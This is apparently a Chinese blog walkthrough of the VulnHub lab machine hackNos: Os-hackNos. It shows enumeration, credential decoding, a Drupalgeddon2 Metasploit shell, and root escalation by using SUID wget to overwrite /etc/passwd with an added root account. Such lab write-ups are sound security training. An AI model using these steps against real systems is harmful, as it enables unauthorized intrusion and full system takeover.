『VulnHub系列』hackNos: Os-hackNos-Walkthrough

重要提示:这一个靶机就是之前那个Os-Hax: lab-james,只不过现在叫hackNos: Os-hackNos,除了靶机的主机名有改动,其他的没有啥改动。

靶机地址

难度:作者的定义是中等~

靶机发布日期:2019年11月3日

在这里插入图片描述
靶机描述:Difficulty : Intermediate

Flag : boot-root

Learning : exploit | web application Security | Privilege Escalation

Contact … https://www.linkedin.com/in/rahulgehlaut/

Requires VirtualBox (doesn’t work with VMware)

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • dirsearch
  • searchsploit
  • metaspaloit

0x00、信息收集

靶机IP:192.168.0.107

nmap -sP 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T5 -A -p- 192.168.0.107

在这里插入图片描述
页面、目录枚举

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在这里插入图片描述
http://192.168.0.107/index.html

在这里插入图片描述
http://192.168.0.107/drupal/,Drupal 7

在这里插入图片描述
http://192.168.0.107/alexander.txt,内容如下:

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

base64解码之后发现是Brainfuck code,到https://www.splitbrain.org/_static/ook/在线解码,得到一对账号密码james:Hacker@4514

在这里插入图片描述
在这里插入图片描述
登录drupal之后看到一串警告

在这里插入图片描述
尝试使用得到的账号密码通过SSH登录靶机,无果

0x01、getshell

由于之前做过很多Drupal的靶机,所以我直接打开MSF,利用exploit/unix/webapp/drupal_drupalgeddon2 getshell

常规做法就是在exploit-db、Google搜索“drupal 7”

search Drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.0.107
set targeturi /drupal # Path to Drupal install
exploit

在这里插入图片描述
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen # 赋值xterm也可以

0x02、提权

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

SUID权限可执行文件,发现/usr/bin/wget

关于wget的利用,可以参考Linux for Pentester: Wget Privilege Escalation

find / -perm -u=s -type f 2>/dev/null

常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

读取靶机中的/etc/passwd,并将内容保存到kali的新建passwd文件。使用openssl生成加密密码,并将加密的密码添加到passwd

关于/etc/passwd各列的含义请自行搜索

openssl passwd -1 -salt salt ins1ght
echo 'ins1ght:$1$salt$6FLhQyyZLS6t1CiFgvKLu1:0:0:root:/root:/bin/bash' >> passwd

在这里插入图片描述
passwd文件所在目录使用Python开启HTTP服务,之后使用使用wget将passwd下载到靶机的/etc目录,覆盖靶机原始的/etc/passwd文件。

在这里插入图片描述
su切换到ins1ght用户(root权限)

在这里插入图片描述
有史以来最快的一次~

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.

发布了41 篇原创文章 · 获赞 14 · 访问量 7911

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/103204312